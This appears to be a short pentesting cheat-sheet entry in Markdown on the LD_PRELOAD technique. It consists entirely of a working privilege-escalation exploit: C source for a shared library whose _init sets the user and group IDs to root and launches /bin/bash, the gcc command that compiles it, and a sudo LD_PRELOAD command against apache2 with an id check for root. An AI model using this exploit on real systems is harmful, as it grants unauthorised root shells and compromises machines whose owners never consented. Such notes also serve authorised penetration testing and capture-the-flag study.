22 lines
349 B
Markdown
22 lines
349 B
Markdown
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# LD_PRELOAD
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* Preload libs and do interpositioning of functions.
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## Example
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```sh
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#include <stdio.h>
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#include <sys/types.h>
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#include <stdlib.h>
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void _init() {
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unsetenv("LD_PRELOAD");
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setgid(0);
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setuid(0);
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system("/bin/bash");
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}
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```
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* `gcc -fPIC -shared -o lib.so lib.c -nostartfiles`
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* `sudo LD_PRELOAD=lib.so apache2`
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* `$ id`
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